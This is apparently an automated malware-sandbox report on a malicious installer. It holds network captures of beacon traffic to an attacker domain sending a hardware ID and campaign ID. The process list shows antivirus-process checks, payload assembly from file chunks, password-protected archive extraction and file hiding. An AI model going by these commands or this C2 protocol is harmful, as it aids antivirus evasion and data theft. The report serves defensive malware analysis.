2024-10-30 14:44:41 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=en5hkb2c2sfdrfos1851fbh47e; expires=Sun, 23 Feb 2025 08:31:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jbrzOvFeC%2FD%2B6JbKp9oHyEt%2B8l%2BbFfoAk8hwU2KVaQNVaL%2BTEUw%2BN2dCnfYp7ZQlAc59n8nauFi4zL0f49eX3qfeGfdvixHvir%2BMwmHKtEofhsEO4W8q6tSZedpJRTowKHcz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f4d49776c31-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1125&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2142&delivery_rate=2620814&cwnd=251&unsent_bytes=0&cid=067762c2d82b4d1a&ts=474&x=0"
2024-10-30 14:44:41 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 14:44:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49993	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:42 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1141 Host: goalyfeastz.site
2024-10-30 14:44:42 UTC	1141	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 39 39 35 45 34 44 39 46 35 32 44 35 34 31 46 46 31 41 35 43 39 38 32 35 33 44 42 46 30 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB995E4D9F52D541FF1A5C98253DBF0B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"BVnUqo--@Mone
2024-10-30 14:44:42 UTC	1012	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o44g3iqkloebu4bftp6b9r5knk; expires=Sun, 23 Feb 2025 08:31:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RHurX2SG6BWuRkEG8vw1wV%2FImrbz7ba%2BFR9BRBkwjcNIl667q5ZCrxEwW9XnW3diINz5h%2FXR5NI5y7FJEso3TIejaZ0bPxuJDEa99C%2FcSt5jZbnfVm%2B54Dgxhs1yDq2N0kZE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f543a4b3474-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1205&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=2058&delivery_rate=2205635&cwnd=251&unsent_bytes=0&cid=9bf425c8f09c4fea&ts=472&x=0"
2024-10-30 14:44:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 14:44:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49994	172.67.145.203	443	1832	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:44:43 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 120 Host: goalyfeastz.site
2024-10-30 14:44:43 UTC	120	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 4d 6f 6e 65 79 50 61 79 4f 50 26 6a 3d 37 63 32 36 33 33 35 37 64 30 34 61 66 66 34 37 33 63 62 32 65 64 61 38 61 34 32 66 66 30 33 33 26 68 77 69 64 3d 41 42 39 39 35 45 34 44 39 46 35 32 44 35 34 31 46 46 31 41 35 43 39 38 32 35 33 44 42 46 30 42 Data Ascii: act=get_message&ver=4.0&lid=BVnUqo--@MoneyPayOP&j=7c263357d04aff473cb2eda8a42ff033&hwid=AB995E4D9F52D541FF1A5C98253DBF0B
2024-10-30 14:44:43 UTC	1008	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:44:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q2m0ovc9tq6f3i3842bs66equv; expires=Sun, 23 Feb 2025 08:31:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YiDNhpb8LwGciQRcM1UvRkVF%2FaPllvc8FHOBcxdSYaFESPCM99jQPqlLVnengpxXsI0N8r6E%2BJub8hfrmFfaslWb99jNek%2B85Lt6ucZRPnf32cV479oZnw4uTInKbNkU0jMB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dac2f5b0d912fd0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1401&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1021&delivery_rate=2078966&cwnd=251&unsent_bytes=0&cid=b3fd0319bb120076&ts=464&x=0"
2024-10-30 14:44:43 UTC	126	IN	Data Raw: 37 38 0d 0a 51 4b 58 4c 46 31 32 71 57 46 37 57 6d 45 57 4f 69 53 4c 35 5a 4f 63 4c 78 66 64 7a 6e 36 44 31 56 72 6f 6d 68 33 6e 6c 6d 34 67 62 33 75 6c 69 66 35 42 36 4e 71 4c 73 4e 62 54 56 44 61 56 4c 31 6a 2f 79 32 55 65 71 6a 73 46 68 6c 42 36 32 4a 63 72 34 35 79 37 4e 70 47 51 70 68 44 30 6d 73 37 70 70 72 4f 39 57 32 31 37 58 4a 2b 65 53 55 61 57 51 69 41 73 3d 0d 0a Data Ascii: 78QKXLF12qWF7WmEWOiSL5ZOcLxfdzn6D1Vromh3nlm4gb3ulif5B6NqLsNbTVDaVL1j/y2UeqjsFhlB62Jcr45y7NpGQphD0ms7pprO9W217XJ+eSUaWQiAs=
2024-10-30 14:44:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:42:12
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-up.exe"
Imagebase:	0x400000
File size:	56'623'098 bytes
MD5 hash:	8EA72D1DD14D5A570D5F5A595CFD1D5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:42:15
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c copy Crest Crest.bat & Crest.bat
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:42:15
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:42:15
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xac0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:42:15
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "wrsa opssvc"
Imagebase:	0x7f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:42:16
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xac0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:42:16
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0x7f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:42:16
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 506033
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:42:16
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "RubberBrilliantPoliceOperator" Count
Imagebase:	0x7f0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:42:17
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Lil + ..\Labeled + ..\Warren + ..\Current + ..\Endless + ..\Towers + ..\Based W
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:42:17
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\506033\Limitations.pif
Wow64 process (32bit):	true
Commandline:	Limitations.pif W
Imagebase:	0x590000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:42:17
Start date:	30/10/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0xa0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:44:45
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\X0JA3EDV7BU5B3IH21ST0OE852AR.exe"
Imagebase:	0x400000
File size:	3'125'704 bytes
MD5 hash:	CE901A874C9D157E48F83B1BE3D32AA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 79%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	10:44:48
Start date:	30/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff7916b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	10:44:48
Start date:	30/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	10:44:48
Start date:	30/10/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff6541b0000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:44:48
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p29586644319935208542739921766 -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:44:48
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_11.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:44:49
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_10.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:44:49
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_9.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:44:49
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_8.zip -oextracted
Imagebase:	0x7ff6ae840000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:44:49
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:44:49
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:44:49
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:44:49
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:44:50
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:44:50
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:44:50
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0x110000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:44:50
Start date:	30/10/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "Installer.exe"
Imagebase:	0x7ff7af0e0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:44:50
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\main\Installer.exe
Wow64 process (32bit):	true
Commandline:	"Installer.exe"
Imagebase:	0xe40000
File size:	625'464 bytes
MD5 hash:	89A069871324D35E25922F6FB881D514
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1526
Total number of Limit Nodes:	34

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

NCRC, xrefs: 0040397C
_?=, xrefs: 00403A64
\Temp, xrefs: 00403A1B
Error launching installer, xrefs: 00403A7D
NSIS Error, xrefs: 004038E2
/D=, xrefs: 004039A6
SeShutdownPrivilege, xrefs: 00403C16
~nsu.tmp, xrefs: 00403AF7
1C, xrefs: 00403B56

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
